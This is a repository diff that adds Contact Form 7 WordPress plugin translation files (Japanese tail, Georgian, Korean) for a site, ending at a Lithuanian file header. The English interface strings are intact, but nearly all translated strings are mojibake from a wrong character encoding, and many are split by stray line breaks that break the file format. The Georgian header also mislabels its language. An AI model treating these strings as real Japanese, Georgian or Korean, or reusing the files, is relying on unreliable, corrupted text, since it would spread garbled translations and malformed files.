+msgstr "ã³ã³ã¿ã¯ããã©ãŒã "
+
+#: contact-form-7/admin/admin.php:355
+msgid "Settings"
+msgstr "èš­å®"
+
+#: contact-form-7/admin/admin.php:376
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7 ã¯ããªãã®æ¯æŽãå¿
+èŠãšããŠããŸããå¯ä»ããé¡ãããŸãã"
+
+#: contact-form-7/admin/admin.php:377
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "ãã®ãã©ã°ã€ã³ã¯åœ¹ã«ç«ã£ãŠããŸãã? ãã©ã°ã€ã³ã®éçºãç¶ããããã«ããªãã®æ¯æŽãå¿
+èŠã§ãã"
+
+#: contact-form-7/admin/admin.php:378
+msgid "Your contribution is needed for making this plugin better."
+msgstr "ããªãã®è²¢ç®ãããã°ãã®ãã©ã°ã€ã³ããã£ãšè¯ãããããšãã§ããŸãã"
+
+#: contact-form-7/admin/admin.php:379
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "ãã©ã°ã€ã³ãéçºããŠãŠãŒã¶ãŒãµããŒããæäŸãããšããã®ã¯ãšãŠãå€§å€ãªä»äºã§ããã¡ãã£ãšã§ããããå©ããŠãã ããã"
+
+#: contact-form-7/includes/classes.php:537
+msgid "Untitled"
+msgstr "ç¡é¡"
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "ããªãã®ã¡ãã»ãŒãžã¯éä¿¡ãããŸãããããããšãããããŸããã"
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "ã¡ãã»ãŒãžã®éä¿¡ã«å€±æããŸãããéããããŠããäžåºŠãè©Šãããã ãããå¥ã®ææ®µã§ç®¡çè
+ã«ãåãåããäžããã"
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "å
+¥åå
+å®¹ã«äžåããããŸããç¢ºèªããŠããäžåºŠéä¿¡ããŠãã ããã"
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "é²ããã«ã¯æ¡é 
+ã®æ¿è«Ÿãå¿
+èŠã§ãã"
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "ã¡ãŒã«ã¢ãã¬ã¹ã®åœ¢åŒãæ­£ãããªãããã§ãã"
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "å¿
+é é 
+ç®ã«èšå
+¥ããããããŸãã"
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "å
+¥åãããã³ãŒããæ­£ãããããŸããã"
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "ç­ããæ­£ãããããŸããã"
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "ãã¡ã€ã«ã®ã¢ããã­ãŒãã«å€±æããŸããã"
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "èš±å¯ãããŠããªããã¡ã€ã«åœ¢åŒã§ãã"
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "ãã¡ã€ã«ãå€§ããããŸãã"
+
+#: contact-form-7/includes/functions.php:30
+msgid "Failed to upload file. Error occurred."
+msgstr "ãã¡ã€ã«ã®ã¢ããã­ãŒãã«å€±æããŸããããšã©ãŒãçºçããŠããŸãã"
+
+#: contact-form-7/includes/functions.php:35
+msgid "Your Name"
+msgstr "ãåå"
+
+#: contact-form-7/includes/functions.php:35
+#: contact-form-7/includes/functions.php:37
+msgid "(required)"
+msgstr "(å¿
+é ïŒ"
+
+#: contact-form-7/includes/functions.php:37
+msgid "Your Email"
+msgstr "ã¡ãŒã«ã¢ãã¬ã¹"
+
+#: contact-form-7/includes/functions.php:39
+msgid "Subject"
+msgstr "é¡å"
+
+#: contact-form-7/includes/functions.php:41
+msgid "Your Message"
+msgstr "ã¡ãã»ãŒãžæ¬æ"
+
+#: contact-form-7/includes/functions.php:43
+msgid "Send"
+msgstr "éä¿¡"
+
+#: contact-form-7/modules/captcha.php:62
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "CAPTCHA ãäœ¿ãã«ã¯ <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> ãã©ã°ã€ã³ã®ã€ã³ã¹ããŒã«ãå¿
+èŠã§ãã"
+
+#~ msgid "(You need WordPress 2.7 or greater to use this feature)"
+#~ msgstr "(ãã®æ©èœãäœ¿ãããã«ã¯ WordPress 2.7 ä»¥äžãå¿
+èŠã§ã)"
+#~ msgid "Delete this contact form"
+#~ msgstr "ãã®ã³ã³ã¿ã¯ããã©ãŒã ãåé€"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ka_GE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ka_GE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ka_GE.po	(revision 44)
@@ -0,0 +1,213 @@
+# translation of wpcf7-pl_PL.po to Polish
+# Zbigniew Czernik <czernik@tlen.pl>, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: wpcf7-ru_RU\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2009-01-01 20:48+0400\n"
+"Last-Translator: Nodar Davituri <nodar@davituri.com>\n"
+"Language-Team: Russian <volotovich@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Russian\n"
+"X-Poedit-Country: Russia\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Generator: KBabel 1.11.4\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:224
+#: contact-form-7/wp-contact-form-7.php:297
+msgid "Contact form"
+msgstr "áááá¢áá¥á¢áá¡ á€áá áá"
+
+#: contact-form-7/wp-contact-form-7.php:253
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:273
+#, php-format
+msgid "Contact form \"%s\" deleted. "
+msgstr "á€áá áá \"%s\" á¬áášááááá."
+
+#: contact-form-7/wp-contact-form-7.php:289
+#, php-format
+msgid "Contact form \"%s\" saved. "
+msgstr "á€áá áá \"%s\" ášáááá®á£ááá."
+
+#: contact-form-7/wp-contact-form-7.php:318
+msgid "Your Name"
+msgstr "áá¥áááá á¡áá®ááá"
+
+#: contact-form-7/wp-contact-form-7.php:318
+#: contact-form-7/wp-contact-form-7.php:320
+msgid "(required)"
+msgstr "(á¡áááááááá£ááá)"
+
+#: contact-form-7/wp-contact-form-7.php:320
+msgid "Your Email"
+msgstr "áá¥áááá ááá€áá¡á¢á"
+
+#: contact-form-7/wp-contact-form-7.php:322
+msgid "Subject"
+msgstr "á¡áááá£á á"
+
+#: contact-form-7/wp-contact-form-7.php:324
+msgid "Your Message"
+msgstr "ášáá¢á§ááááááá"
+
+#: contact-form-7/wp-contact-form-7.php:326
+#: contact-form-7/wp-contact-form-7.php:738
+msgid "Send"
+msgstr "áááááááá"
+
+#: contact-form-7/wp-contact-form-7.php:345
+msgid "Your message was sent successfully. Thanks."
+msgstr "ááááááá, áá¥áááá ášáá¢á§ááááááá á¬áá ááá¢áááá ááááááááá."
+
+#: contact-form-7/wp-contact-form-7.php:347
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "ášáá¢á§áááááááá¡ ááááááááá¡áá¡ ááá®áá ášááªáááá. ááá®ááá á¡áªáááá ááááááááááá áá á¡ááá¢áá¡ ááááááá¡á¢á áá¢áá á¡ á¡á®áá á€áá ááá ááá£áááášáá ááá."
+
+#: contact-form-7/wp-contact-form-7.php:349
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "ášááªáááá. ááá®ááá áááááááá¬ááá ášááá¡ááá£áá áááááá áá á¡áªáááá áááááááá ááááááá."
+
+#: contact-form-7/wp-contact-form-7.php:351
+msgid "Email address seems invalid."
+msgstr "ááá€áá¡á¢áá¡ ááá¡áááá áá áá áá¡á¬áá áá."
+
+#: contact-form-7/wp-contact-form-7.php:353
+msgid "Please fill the required field."
+msgstr "ááá®ááá ášáááá¡áá á§áááá á¡áááááááá£áá áááá."
+
+#: contact-form-7/wp-contact-form-7.php:355
+msgid "Your entered code is incorrect."
+msgstr "ášáá§áááááá áááá áá áá¡á¬áá áá."
+
+#: contact-form-7/includes/admin-panel.php:19
+#: contact-form-7/includes/admin-panel.php:22
+msgid "Add new"
+msgstr "áá®ááá¡ ááááá¢ááá"
+
+#: contact-form-7/includes/admin-panel.php:34
+msgid "Title"
+msgstr "á¡áááá£á á"
+
+#: contact-form-7/includes/admin-panel.php:39
+msgid "Copy and paste this code into your post content."
+msgstr "áááááááá áá áá á©áá¡ááá áá¡ áááá áá¥áááá¡ ááá¡á¢ášá."
+
+#: contact-form-7/includes/admin-panel.php:45
+msgid "Form content"
+msgstr "á€áá ááá¡ ášáááááá¡á"
+
+#: contact-form-7/includes/admin-panel.php:60
+msgid "Mail template"
+msgstr "ááá€áá¡á¢áá¡ ášáááááá"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Subject field:"
+msgstr "á¡áááá£á áá¡ áááá:"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Sender field:"
+msgstr "áááááááááá¡ áááá:"
+
+#: contact-form-7/includes/admin-panel.php:65
+msgid "Message body:"
+msgstr "ášáá¢á§áááááááá¡ á¢áá¥á¡á¢á:"
+
+#: contact-form-7/includes/admin-panel.php:69
+msgid "Options"
+msgstr "ááá áááá¢á ááá"
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Recipient address:"
+msgstr "ááááŠáááá¡ ááá¡áááá áá:"
+
+#: contact-form-7/includes/admin-panel.php:75
+msgid "Save"
+msgstr "ášáááá®áá"
+
+#: contact-form-7/includes/admin-panel.php:82
+msgid "Delete this contact form"
+msgstr "áá á€áá ááá¡ á¬áášáá"
+
+#: contact-form-7/includes/admin-panel.php:83
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"ááááááááá áá¡á£á á áá á€áá ááá¡ á¬áášáá?.\n"
+"  'Cancel' - áá  á¬áášááá, 'OK' - á¬áášááá."
+
+#: contact-form-7/includes/admin-panel.php:137
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/includes/admin-panel.php:138
+msgid "Check this field as sender&#39;s name"
+msgstr "áá ááááá¡, á áááá áª áááááááááá¡ á¡áá®áááá¡ ášáááá¬áááá"
+
+#: contact-form-7/includes/admin-panel.php:139
+msgid "Check this field as sender&#39;s email"
+msgstr "áá ááááá¡, á áááá áª ááá€áá¡á¢áá¡ ášáááá¬áááá"
+
+#: contact-form-7/includes/admin-panel.php:140
+msgid "Check this field as sender&#39;s URL"
+msgstr "áá ááááá¡, á áááá áª URL-áá¡ ášáááá¬áááá"
+
+#: contact-form-7/includes/admin-panel.php:141
+msgid "Don&#39;t check this field with Akismet"
+msgstr "áá ááááá¡ ášáááá¬áááá Akismet-áá"
+
+#: contact-form-7/includes/admin-panel.php:148
+#: contact-form-7/includes/admin-panel.php:161
+#: contact-form-7/includes/admin-panel.php:194
+msgid "Default value"
+msgstr "áááá£ááá¡á®áááá áááášááááááá"
+
+#: contact-form-7/includes/admin-panel.php:169
+msgid "Choices"
+msgstr "ááá áááá¢ááá"
+
+#: contact-form-7/includes/admin-panel.php:170
+msgid "* One choice per line."
+msgstr "* áá áá áááá á®áááá."
+
+#: contact-form-7/includes/admin-panel.php:178
+msgid "Foreground color"
+msgstr "áááááá á á€áá á"
+
+#: contact-form-7/includes/admin-panel.php:179
+msgid "Background color"
+msgstr "á€áááá¡ á€áá á"
+
+#: contact-form-7/includes/admin-panel.php:180
+msgid "Image size"
+msgstr "á¡á£á áááá¡ áááá"
+
+#: contact-form-7/includes/admin-panel.php:182
+msgid "Small"
+msgstr "ááá¢áá á"
+
+#: contact-form-7/includes/admin-panel.php:183
+msgid "Medium"
+msgstr "á¡áášá£ááá"
+
+#: contact-form-7/includes/admin-panel.php:184
+msgid "Large"
+msgstr "áááá"
+
+#: contact-form-7/includes/admin-panel.php:199
+msgid "Label"
+msgstr "ááá ááá§á"
+
+#: contact-form-7/includes/admin-panel.php:206
+msgid "Insert"
+msgstr "á©áá¡áá"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ko_KR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ko_KR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ko_KR.po	(revision 44)
@@ -0,0 +1,477 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Korean by Soul\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-03-15 03:27+0900\n"
+"PO-Revision-Date: 2009-03-24 20:25-0500\n"
+"Last-Translator: Jong-In Kim <soulofpure@hotmail.com>\n"
+"Language-Team: Jong-In Kim <soulofpure@hotmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Korean\n"
+"X-Poedit-Country: KOREA, REPUBLIC OF\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ../..\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:405
+msgid "Contact form"
+msgstr "Contact form"
+
+#: contact-form-7/wp-contact-form-7.php:593
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:616
+msgid "optional"
+msgstr "ìµì
+"
+
+#: contact-form-7/wp-contact-form-7.php:617
+msgid "Generate Tag"
+msgstr "íê·ž ìì±"
+
+#: contact-form-7/wp-contact-form-7.php:618
+msgid "Text field"
+msgstr "í
+ì€íž ì
+ë ¥ë"
+
+#: contact-form-7/wp-contact-form-7.php:619
+msgid "Email field"
+msgstr "ìŽë©ìŒ ì
+ë ¥ë"
+
+#: contact-form-7/wp-contact-form-7.php:620
+msgid "Text area"
+msgstr "í
+ì€íž ìì­"
+
+#: contact-form-7/wp-contact-form-7.php:621
+msgid "Drop-down menu"
+msgstr "ëëë€ìŽ ë©ëŽ"
+
+#: contact-form-7/wp-contact-form-7.php:622
+msgid "Checkboxes"
+msgstr "ì²Ží¬ë°ì€ë€"
+
+#: contact-form-7/wp-contact-form-7.php:623
+msgid "Radio buttons"
+msgstr "ëŒëì€ ë²íŒ"
+
+#: contact-form-7/wp-contact-form-7.php:624
+msgid "Acceptance"
+msgstr "ìëœ"
+
+#: contact-form-7/wp-contact-form-7.php:625
+msgid "Make this checkbox checked by default?"
+msgstr "ìŽ ì²Ží¬ë°ì€ë¥Œ êž°ë³žìŒë¡ ì²Ží¬í ê¹ì?"
+
+#: contact-form-7/wp-contact-form-7.php:626
+msgid "Make this checkbox work inversely?"
+msgstr "ìŽ ì²Ží¬ë°ì€ë¥Œ ë°ëë¡ ìëíê² í ê¹ì?"
+
+#: contact-form-7/wp-contact-form-7.php:627
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* ë°©ë¬žì ì€ ìœì ì ìëœí ì¬ëì ì²Ží¬íì§ ìë ê²ì ìë¯ží©ëë€."
+
+#: contact-form-7/wp-contact-form-7.php:628
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:629
+msgid "Quiz"
+msgstr "íŽìŠ"
+
+#: contact-form-7/wp-contact-form-7.php:630
+msgid "Quizzes"
+msgstr "íŽìŠë€"
+
+#: contact-form-7/wp-contact-form-7.php:631
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* íŽìŠ|ëµ (ì: 1+1=?|2)"
+
+#: contact-form-7/wp-contact-form-7.php:632
+msgid "File upload"
+msgstr "íìŒ ì
+ë¡ë"
+
+#: contact-form-7/wp-contact-form-7.php:633
+msgid "bytes"
+msgstr "ë°ìŽíž"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "Submit button"
+msgstr "ë±ë¡ ë²íŒ"
+
+#: contact-form-7/wp-contact-form-7.php:635
+msgid "Name"
+msgstr "ìŽëŠ"
+
+#: contact-form-7/wp-contact-form-7.php:636
+msgid "Required field?"
+msgstr "íì ì
+ë ¥ë?"
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "Allow multiple selections?"
+msgstr "ë€ì€ ì í íì©í ê¹ì?"
+
+#: contact-form-7/wp-contact-form-7.php:638
+msgid "Insert a blank item as the first option?"
+msgstr "ì²« ìµì
+ìŒë¡ ë¹ ììŽí
+ì ìœì
+í ê¹ì ?"
+
+#: contact-form-7/wp-contact-form-7.php:639
+msgid "Make checkboxes exclusive?"
+msgstr "ì²Ží¬ë°ì€ë€ì ì ìží ê¹ì?"
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Choices"
+msgstr "ì íì¬í­"
+
+#: contact-form-7/wp-contact-form-7.php:641
+msgid "Label"
+msgstr "ëŒë²š"
+
+#: contact-form-7/wp-contact-form-7.php:642
+msgid "Default value"
+msgstr "êž°ë³žê°"
+
+#: contact-form-7/wp-contact-form-7.php:643
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:644
+msgid "This field requires author's name"
+msgstr "ìŽ ì
+ë ¥ëì êžìŽìŽì ìŽëŠìŽ íìí©ëë€."
+
+#: contact-form-7/wp-contact-form-7.php:645
+msgid "This field requires author's URL"
+msgstr "ìŽ ì
+ë ¥ëì êžìŽìŽì URLìŽ íìí©ëë€."
+
+#: contact-form-7/wp-contact-form-7.php:646
+msgid "This field requires author's email address"
+msgstr "ìŽ ì
+ë ¥ëì êžìŽìŽì ìŽë©ìŒ ì£Œìê° íìí©ëë€."
+
+#: contact-form-7/wp-contact-form-7.php:647
+msgid "Copy this code and paste it into the form left."
+msgstr "ìŽ ìœëë¥Œ ë³µì¬íŽì íŒ ìì ë¶ì¬ë£ìŒìžì."
+
+#: contact-form-7/wp-contact-form-7.php:648
+msgid "Foreground color"
+msgstr "ì ê²œ ìì"
+
+#: contact-form-7/wp-contact-form-7.php:649
+msgid "Background color"
+msgstr "ë°°ê²œ ìì"
+
+#: contact-form-7/wp-contact-form-7.php:650
+msgid "Image size"
+msgstr "ìŽë¯žì§ ì¬ìŽìŠ"
+
+#: contact-form-7/wp-contact-form-7.php:651
+msgid "Small"
+msgstr "ì"
+
+#: contact-form-7/wp-contact-form-7.php:652
+msgid "Medium"
+msgstr "ì€"
+
+#: contact-form-7/wp-contact-form-7.php:653
+msgid "Large"
+msgstr "ë"
+
+#: contact-form-7/wp-contact-form-7.php:654
+msgid "Image settings"
+msgstr "ìŽë¯žì§ ì€ì "
+
+#: contact-form-7/wp-contact-form-7.php:655
+msgid "Input field settings"
+msgstr "ì
+ë ¥ íë ì€ì "
+
+#: contact-form-7/wp-contact-form-7.php:656
+msgid "For image"
+msgstr "For ìŽë¯žì§"
+
+#: contact-form-7/wp-contact-form-7.php:657
+msgid "For input field"
+msgstr "For ì
+ë ¥ íë"
+
+#: contact-form-7/wp-contact-form-7.php:658
+msgid "* One choice per line."
+msgstr "* ëŒìžë³ 1ê°ì§ ì í."
+
+#: contact-form-7/wp-contact-form-7.php:659
+msgid "Show"
+msgstr "ë³Žêž°"
+
+#: contact-form-7/wp-contact-form-7.php:660
+msgid "Hide"
+msgstr "ìšêž°êž°"
+
+#: contact-form-7/wp-contact-form-7.php:661
+msgid "File size limit"
+msgstr "íìŒ ì¬ìŽìŠ ì í"
+
+#: contact-form-7/wp-contact-form-7.php:662
+msgid "Acceptable file types"
+msgstr "íì©íë íìŒ íì
+"
+
+#: contact-form-7/wp-contact-form-7.php:663
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "ìëŠŒ: CAPTCHAë¥Œ ì¬ì©íë €ë©Ž Really Simple CAPTCHA íë¬ê·žìžì ì€ì¹íŽìŒë©ëë€."
+
+#: contact-form-7/wp-contact-form-7.php:690
+msgid "Contact form created."
+msgstr "Contact form ìŽ ë§ë€ìŽì¡ì."
+
+#: contact-form-7/wp-contact-form-7.php:693
+msgid "Contact form saved."
+msgstr "Contact form ìŽ ì ì¥ëš."
+
+#: contact-form-7/wp-contact-form-7.php:696
+msgid "Contact form deleted."
+msgstr "Contact form ìŽ ì­ì ëš."
+
+#: contact-form-7/wp-contact-form-7.php:707
+msgid "Untitled"
+msgstr "ë¬Žì "
+
+#: contact-form-7/wp-contact-form-7.php:734
+msgid "Your Name"
+msgstr "ìŽëŠ"
+
+#: contact-form-7/wp-contact-form-7.php:734
+#: contact-form-7/wp-contact-form-7.php:736
+msgid "(required)"
+msgstr "(íìïŒ"
+
+#: contact-form-7/wp-contact-form-7.php:736
+msgid "Your Email"
+msgstr "ìŽë©ìŒ"
+
+#: contact-form-7/wp-contact-form-7.php:738
+msgid "Subject"
+msgstr "ì ëª©"
+
+#: contact-form-7/wp-contact-form-7.php:740
+msgid "Your Message"
+msgstr "ë©ìžì§"
+
+#: contact-form-7/wp-contact-form-7.php:742
+#: contact-form-7/wp-contact-form-7.php:1476
+msgid "Send"
+msgstr "ì ì¡"
+
+#: contact-form-7/wp-contact-form-7.php:796
+msgid "Your message was sent successfully. Thanks."
+msgstr "ë¹ì ì ë©ìžì§ê° ì±ê³µì ìŒë¡ ë³ŽëŽì¡ìµëë€. ê°ì¬í©ëë€."
+
+#: contact-form-7/wp-contact-form-7.php:798
+#: contact-form-7/wp-contact-form-7.php:800
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "ë©ìžì§ ì ì¡ì ì€íšíìµëë€. ë€ì ìëíŽ ë³Žìê±°ë ì¹êŽëŠ¬ììê² ë¬žìíì­ìì."
+
+#: contact-form-7/wp-contact-form-7.php:802
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "íìí­ëª©ì êž°ë¡íìì§ ììŒì
+šìµëë€. íì êž°ì
+ í­ëª©ì ë€ì íë² ìŽíŽë³Žìê³  ì¬ì ì¡ íŽë³Žì­ìì."
+
+#: contact-form-7/wp-contact-form-7.php:804
+msgid "Please accept the terms to proceed."
+msgstr "ì§íì ìíŽ ìœì ì ìëœíŽì£Œìžì."
+
+#: contact-form-7/wp-contact-form-7.php:806
+msgid "Email address seems invalid."
+msgstr "ìŽë©ìŒ ì£Œìê° ì¬ë°ë¥Žì§ ììµëë€."
+
+#: contact-form-7/wp-contact-form-7.php:808
+msgid "Please fill the required field."
+msgstr "íìí­ëª©ì ì±ìì£Œìžì."
+
+#: contact-form-7/wp-contact-form-7.php:810
+msgid "Your entered code is incorrect."
+msgstr "ì
+ë ¥í ìœëë ë§ì§ììµëë€."
+
+#: contact-form-7/wp-contact-form-7.php:812
+msgid "Your answer is not correct."
+msgstr "ëµìŽ íë žìµëë€."
+
+#: contact-form-7/wp-contact-form-7.php:814
+msgid "Failed to upload file."
+msgstr "íìŒ ì
+ë¡ëê° ì€íšíìµëë€."
+
+#: contact-form-7/wp-contact-form-7.php:816
+msgid "This file type is not allowed."
+msgstr "ìŽ íìŒ íì
+ì íì©ëì§ ììµëë€."
+
+#: contact-form-7/wp-contact-form-7.php:818
+msgid "This file is too large."
+msgstr "ìŽ íìŒì ëë¬Ž íœëë€."
+
+#: contact-form-7/wp-contact-form-7.php:1417
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "CAPTCHAë¥Œ ì¬ì©íë €ë©Ž <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> íë¬ê·žìžì ì€ì¹íŽìŒë©ëë€."
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "ì¶ê°"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "ìŽ ìœëë¥Œ ë³µì¬íŽì êž, íìŽì§ ëë í
+ì€íž ìì ¯ ëŽì©ì ë¶ì¬ë£ìŒìžì."
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:262
+msgid "Save"
+msgstr "ì ì¥"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid "Copy"
+msgstr "ë³µì¬"
+
+#: contact-form-7/includes/admin-panel.php:60
+msgid "Delete"
+msgstr "ì­ì "
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"ìŽ Contact formì ì ë§ë¡ ì­ì íì€ ê²ì
+ëê¹? \n"
+"ì·šìíìë €ë©Ž 'Cancel'ì, ì­ì íìë €ë©Ž 'OK'ë¥Œ íŽëŠ­íìžì."
+
+#: contact-form-7/includes/admin-panel.php:75
+msgid "Form"
+msgstr "íŒ"
+
+#: contact-form-7/includes/admin-panel.php:95
+msgid "Mail"
+msgstr "ë©ìŒ"
+
+#: contact-form-7/includes/admin-panel.php:102
+#: contact-form-7/includes/admin-panel.php:154
+msgid "To:"
+msgstr "To:"
+
+#: contact-form-7/includes/admin-panel.php:106
+#: contact-form-7/includes/admin-panel.php:158
+msgid "From:"
+msgstr "From:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "Subject:"
+msgstr "ì ëª©:"
+
+#: contact-form-7/includes/admin-panel.php:115
+#: contact-form-7/includes/admin-panel.php:167
+msgid "File attachments:"
+msgstr "ì²šë¶ íìŒ:"
+
+#: contact-form-7/includes/admin-panel.php:117
+#: contact-form-7/includes/admin-panel.php:169
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(ìŽ êž°ë¥ì ì¬ì©íêž° ìíŽì  ìëíë ì€ 2.7ìŽë ê·ž ìŽìì íìë¡ í©ëë€)"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Use HTML content type"
+msgstr "HTML ì¬ì©"
+
+#: contact-form-7/includes/admin-panel.php:130
+#: contact-form-7/includes/admin-panel.php:182
+msgid "Message body:"
+msgstr "ë©ìžì§ ëŽì©:"
+
+#: contact-form-7/includes/admin-panel.php:141
+msgid "Mail (2)"
+msgstr "ë©ìŒ (2)"
+
+#: contact-form-7/includes/admin-panel.php:148
+msgid "Use mail (2)"
+msgstr "ë©ìŒ ì¬ì© (2)"
+
+#: contact-form-7/includes/admin-panel.php:193
+msgid "Messages"
+msgstr "ë©ìžì§"
+
+#: contact-form-7/includes/admin-panel.php:201
+msgid "Sender's message was sent successfully"
+msgstr "ë©ìžì§ ì ì¡ìŽ ì±ê³µíìµëë€"
+
+#: contact-form-7/includes/admin-panel.php:205
+msgid "Sender's message was failed to send"
+msgstr "ë©ìžì§ ì ì¡ìŽ ì€íšíìµëë€"
+
+#: contact-form-7/includes/admin-panel.php:209
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet ìŽ ì€ížìŒë¡ íëšíìµëë€"
+
+#: contact-form-7/includes/admin-panel.php:213
+msgid "Validation errors occurred"
+msgstr "ì íšì± ê²ì¬ ìë¬ê° ë°ìíìµëë€."
+
+#: contact-form-7/includes/admin-panel.php:217
+msgid "There is a field that sender is needed to fill in"
+msgstr "ì
+ë ¥íŽìŒ ë  íëê° ììµëë€"
+
+#: contact-form-7/includes/admin-panel.php:221
+msgid "Email address that sender entered is invalid"
+msgstr "ì
+ë ¥í ìŽë©ìŒ ì£Œìê° ì¬ë°ë¥Žì§ ììµëë€"
+
+#: contact-form-7/includes/admin-panel.php:225
+msgid "There is a field of term that sender is needed to accept"
+msgstr "ìœì ì ìëœíŽìŒ ë©ëë€"
+
+#: contact-form-7/includes/admin-panel.php:229
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "íŽìŠì ì ëµì ì
+ë ¥íì§ ìììµëë€"
+
+#: contact-form-7/includes/admin-panel.php:233
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "ì
+ë ¥í ìœëë CAPTCHA ì ë§€ì¹ê° ëì§ììµëë€"
+
+#: contact-form-7/includes/admin-panel.php:237
+msgid "Uploading a file fails for any reason"
+msgstr "íìŒ ì
+ë¡ëì€ì ì€íšíìµëë€"
+
+#: contact-form-7/includes/admin-panel.php:241
+msgid "Uploaded file is not allowed file type"
+msgstr "ì
+ë¡ëë íìŒì íì©íë íìŒíì
+ìŽ ìëëë€"
+
+#: contact-form-7/includes/admin-panel.php:245
+msgid "Uploaded file is too large"
+msgstr "ì
+ë¡ëë íìŒìŽ ëë¬Ž íœëë€"
+
+#~ msgid "Delete this contact form"
+#~ msgstr "contact from ì­ì "
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-lt_LT.po
===================================================================
